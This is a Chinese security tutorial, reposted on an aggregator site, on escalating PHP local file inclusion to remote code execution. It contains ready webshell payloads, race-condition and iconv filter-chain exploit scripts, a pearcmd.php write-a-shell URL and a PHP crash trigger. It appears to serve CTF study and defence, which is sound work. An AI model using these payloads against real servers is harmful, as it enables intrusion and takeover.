PHP-从LFI到RCE(上)

这篇具有很好参考价值的文章主要介绍了PHP-从LFI到RCE(上)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

以下场景很常见,很多人都把他当成一个LFI,那么是否可以RCE呢,让我们来探讨一下。

<?php
include $_REQUEST['file'];

?>

在p牛和陆队的博客都有发过类似的,笔者很菜,旨在梳理一下,大佬轻喷。

参考链接

1.https://tttang.com/archive/1312/#toc_0x06-pearcmdphp
2.https://tttang.com/archive/1395/
3.https://tttang.com/archive/1384/

1.日志文件包含

在常规黑盒的情况下,我们通常想到的RCE方式是包含一些WEB日志文件或者系统日志文件,通过http请求去写入一些php一句话,然后包含这个文件造成getshell。

例如IIS和apache,apache一般的日志文件只有root组才能访问,我们包含不了,那么如果是IIS就可以直接写入一句话<?php eval($_POST['cmd']);?>,然后通过包含/varl/og/apache2/access.log,就可以实现getshell。不同环境可能不同利用方式,例如thinkphp也有日志文件,是否也可以利用呢!

burp改包发送请求
lfi to rce,php,apache,服务器

可以看到在/var/log/apache2/access.log已经写入成功了
lfi to rce,php,apache,服务器
那么直接包含就可以了。
lfi to rce,php,apache,服务器
但是我们包含失败了,因为这个文件只有root才能读,www用户是读不了的,大家可以根据环境变换,可能日志文件也不是这个路径。

2.phpinfo和文件包含条件竞争

我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉.

lfi to rce,php,apache,服务器

在从“PHP writes data to temp file”到“php removes temp files(if any)”这两个操作之间的这段时间,我们可以包含这个临时文件,最后完成getshell操作。但这里面暗藏了一个大坑就是,临时文件的文件名我们是不知道的。

例如我们上传一个这样的文件,不管他后台有没有这个逻辑,php都会保存在一个临时文件,过了某个时间段就清理,那么我们就只能条件竞争了。
lfi to rce,php,apache,服务器
我们可以构造一个表单来上传,也可以直接在burp构造改包

<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.31.120/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="test" value="123<?php eval($_POST['cmd']);?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

那么我们不知道临时文件在哪,还有文件名是啥也不知道,就是形如/tmp/phpxxx,后面的xxx为随机字母和数字组合的6位数。

那么在phpinfo页面有个地方可以看到

lfi to rce,php,apache,服务器
那么就可以写脚本来条件竞争了,这里直接贴p牛的exp

windows通配符的妙用

前面的方法存在2个条件

1.存在phpinfo等可以泄露临时文件名的页面

2.网络条件好,才能让Race Condition成功

如果目标系统是windows

PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的。

但是在php的逻辑里是不能用* ? 表示通配符。

实际上MSDN官方文档说明

  • DOS_STAR:即 <,匹配0个以上的字符
  • DOS_QM:即>,匹配1个字符
  • DOS_DOT:即",匹配点号

那么我们的文件就变成了/tmp/php<<,构造这样一个包就可以进行rce了

lfi to rce,php,apache,服务器
我这里给个表单

<!DOCTYPE html>
<html>
<body>
<form action="http://192.168.31.120/lfi.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="file" value="c:\Windows\Temp\php<<" />
    <input type="file" name="upload" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

只需要上传一个包含php代码的任意后缀名文件就行,这种上传文件的同时利用临时文件的操作可能很难理解。这里我解释一下,lfi.php文件内容是:

<?php
include $_REQUEST['file'];

?>

这里的 <input type="hidden" name="file" value="c:\Windows\Temp\php<<" />是执行一个文件包含的请求,然后上传的文件就是echo md5(1),最后这个文件会被php传到一个临时目录,路径是c:\Windows\Temp\php<<,这里的<<为windows的通配符,只有当执行include才会解释这个php过程,最后删除临时文件,这样就可以竞争成功了。

3.session.upload_progress与Session文件包含

session方法也已经广为流传,PHP中可以通过session progress功能实现临时文件的写入。这种利用方式需要满足下面几个条件。

1.目标环境开启了session.upload_progress.enable选项
2.发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
3.请求的Cookie中包含Session ID

恰好这些都是默认开启的。这里贴个exp

import io
import requests
import threading
url = 'http://192.168.31.120:80/file.php'


def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("id");?>dotasts'
    }
    while True:
        f = io.BytesIO(b'a' * 1024 * 10)
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
    while True:
        response = session.get(url+'?file=/var/lib/php/sessions/sess_flag') #其实这个php临时文件的目录在不同环境是不一样的
        if 'dotasts' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    write = threading.Thread(target=write, args=(session,))
    write.daemon = True
    write.start()
    read(session)

其实这个php临时文件的目录在不同环境是不一样的,我们可以根据不同的环境改一下exp

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

4.Segfault遗留下TEMP文件

其实这里的lfi到rce,就在于能不能在对方服务器写入一个php代码,我们直接包含这个造成getshell,其中涉及到临时文件,日志文件,临时文件路径和名字。

前面的探讨都是在临时文件删除之前进行条件竞争,那么我们能不能让他不执行这个删除,让他异常退出,就不会删除临时文件了,这样我们直接爆破就行了。

PHP底层是C语言开发的,不少内存错误都会导致进程异常退出,当然不论是Apache还是PHP-FPM都会存在master进程,在某一个子进程异常退出后会拉起新的进程来处理用户请求,不用担心搞挂服务器。

国内的安全研究者@王一航 曾发现过一个会导致PHP crash的方法:

include 'php://filter/string.strip_tags/resource=/etc/passwd';

正好用在文件包含的逻辑中。

这个Bug在7.1.20以后被修复,也没有留下更新日志,我们可以使用7.1.19版本的PHP进行尝试。向文件包含的目标发送这个导致crash的路径,可见服务器已经挂了,返回空白

lfi to rce,php,apache,服务器

5.pearcmd.php的巧妙利用

register_argc_argv

如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On

这个register_argc_argv能干什么呢?

cli模式下,简言之,可以通过$_SERVER[‘argv’]`获得命令行参数,其中test.php

<?php
var_dump($_SERVER['argv']);
?>

lfi to rce,php,apache,服务器

lfi to rce,php,apache,服务器
web模式下
lfi to rce,php,apache,服务器
分隔符是+ 不是&

简单的利用

<?php

var_dump($_SERVER['argv']);
$a = $_SERVER['argv'];
$a[0]($a[1]);
?>

lfi to rce,php,apache,服务器

pearcmd.php的神奇使用

pear文件

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/php"
    INCARG="-d include_path=/usr/share/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

这里解释一下代码意思,就是直接通过包含这个pearcmd.php文件,然后联合register_argc_argv获取命令行参数,直接通过pear的命令config-create写入了一句话木马。

需要注意的是:当执行了pear后,会将$_SERVER[‘argv’]当作参数执行!如果存在文件包含漏洞的话,就可以包含pearcmd.php

这里直接给出payload吧

/test.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1])?>+/tmp/hello.php

6.利用php iconv filter 配合base64进行rce

路队文章写的很清楚了,hxp CTF 2021 - The End Of LFI?

在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE。

大家是否记得利用filter绕过死亡exit,就是由于<?php exit;?>加在了我们写入的文件前面,导致写入一句话也不能执行。

但是php base64 encode会自动把这些非法字符去掉。

合法字符只有A-Za-z0-9\/\=\+,其他字符会自动被忽略,那么包括不可见字符、控制字符什么的。

那么之前的就变成了phpexit,这里只有7个字符,我们加一个a,就可以完全解码了,题目如下:

<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,"<?php exit();".$content);

直接贴payload吧

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

//内容变为phpexitaPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==   解码就是¦^Æ+Z<?php eval($_POST[a]);

因为我们可以控制file_put_contents写入的协议,那么我们用filter base64的宽松解码进行绕过了。

直接给路队的exp吧

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/etc/passwd"; //服务器任意存在文件就行

echo file_get_contents("http://www.xxx.com/file.php?file=".urlencode($final_payload)."&0=id");


// hexdump
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 3c 3f 3d 60  |string(18) "<?=`|
// 00000010  24 5f 47 45 54 5b 30 5d  60 3b 3b 3f 3e 18 22 0a  |$_GET[0]`;;?>.".|

7.总结

利用include $_REQUEST['file']的lfi本地文件包含,就是包含一个含有php代码的文件,不限制后缀名,也可以临时文件进行条件竞争,当然php是神奇的语言,有伪协议还有fastcgi,还有auto_prepend_file的参数,内存错误异常退出,甚至可以去看php底层代码,这些特性还有很多,值得我们探索。

接下来我们可以从几道ctf题来看一下lfi到rce。

1.36c3 web includer
2.hxp CTF 2021 - A New Novel LFI
3.hxp CTF 2021 - The End Of LFI?
4.HFCTF2022 Web ezphp文章来源地址https://www.toymoban.com/news/detail-716118.html

到了这里,关于PHP-从LFI到RCE(上)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 阿里云服务器安装MySQL、Apache、PHP

      节日期间突然想要自己搭建一个个人网站,于是在阿里云申请了一个可以免费使用3个月的服务器,申请的云市场产品Wordpress平台( ALinux3 LNMP PHP7.4)。官方教程使用的CentOs系统,和我申请的ALinux3操作有一些差异,先重置密码,然后单击实例的ID,选择安全组页签,单击安全

    2024年02月19日
    浏览(47)
  • XAMPP、Apache搭建本地PHP服务器(全网最保姆级)

    启动服务 打开后进入如下界面:根据自己的需要 启动服务 我这里打开的是Apache和MySQL 可以根据自己的习惯修改端口号 默认是 8080 我这里修改为 80 端口 修改监听的端口号 Httpd.conf 文件存放着的是主要的 XAMPP 虚拟机的配置 像一些 端口、路由、访问的路径 等等信息 方式1:直

    2024年02月03日
    浏览(56)
  • PHP - Laravel 创建项目到服务器(nginx、apache)运行(附带目录结构

    // 对应 composer.json 中的 require,一般用这个 $ composer require barryvdh/laravel-ide-helper // 如果只想在开发环境安装请加上 --dev,对应 composer.json 中的 require-dev $ composer require barryvdh/laravel-ide-helper --dev 如果报错 Installation failed, reverting ./composer.json and ./composer.lock to their original content 点这

    2024年04月27日
    浏览(47)
  • 攻防世界-web篇(php_rce)详解

    每日一题,今天我们来攻防世界web篇(php_rce) 目录 1、利用system函数远程命令执行 2、查找文件目录 3、进入flag目录 4、查看flag文件拿到flag 首先打开题目:  这里我们可以看到打开后是一个ThinkPHP V5的界面,由此我们可以判断这是一个使用TinkPHP框架开发的,接下来我们由长期的

    2024年02月15日
    浏览(49)
  • [CTF/网络安全] 攻防世界 php_rce 解题详析

    PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器

    2024年02月06日
    浏览(50)
  • server win搭建apache网站服务器+php网站+MY SQL数据库调用电子阅览室

    1、使用开源的免费数据库Mysql; 2、自己建网站的发布; 3、使用php代码建网站; 4、使用windows server作为服务器; 5、使用apache作为网站服务器。 apache下载地址一:Apache VS17 binaries and modules download apache下载地址二:Apche下载 1、https://httpd.apache.org 2、点Files for Microsoft Windows 3、点

    2024年04月10日
    浏览(59)
  • CTFHub笔记之技能树RCE:eval执行、文件包含、远程包含、php://input、读取源代码

    小白一个,记录解题过程,如有错误请指正! 知识点:         eval():把字符串 code 作为PHP代码执行。函数eval()语言结构是非常危险的,因为它允许执行任意 PHP 代码。它这样用是很危险的。如果您仔细的确认过,除了使用此结构以外别无方法, 请多加注意,不要允许传入

    2024年02月01日
    浏览(45)
  • 为什么TM服务器要安装php~ 现在服务器都用什么php环境,服务器安装php环境的作用是什么?

    \\\"想像力比知识更重要。因为知识是有限的,而想像力是无限,它包含了一切,推动着进步,是人类进化的源泉。 -- 爱因斯坦 为什么服务器要安装php~ 导读:今天来给各位分享关于服务器为什么安装PHP的相关内容,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开

    2024年02月16日
    浏览(63)
  • PHP进阶-IIS服务器发布PHP网站

    IIS服务器,相信开发者都不会陌生,它的英文全称是Internet Information Services,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务,常用于Windows系统的Web项目部署,本篇以PHP项目为例,讲解如何使用IIS完成PHP项目的发布。 下载地址:PHP: Downloads下载最新版本 下载Thr

    2024年04月28日
    浏览(60)
  • php连接到 Web 服务器方式和php版本选择

    1、如何将 PHP 连接到 Web 服务器? web 服务器可以通过三种方法来利用 PHP 生成 web 页面。 第一种方法是将 PHP 自以为 CGI“包装器”用作一个单独运行的语言解释器(CGI Wapper)。当以这种方法运行时,PHP 会为向 web 服务器的每个 PHP 页面请求创建 PHP 解释器的实例,并在每个请求的

    2024年02月11日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包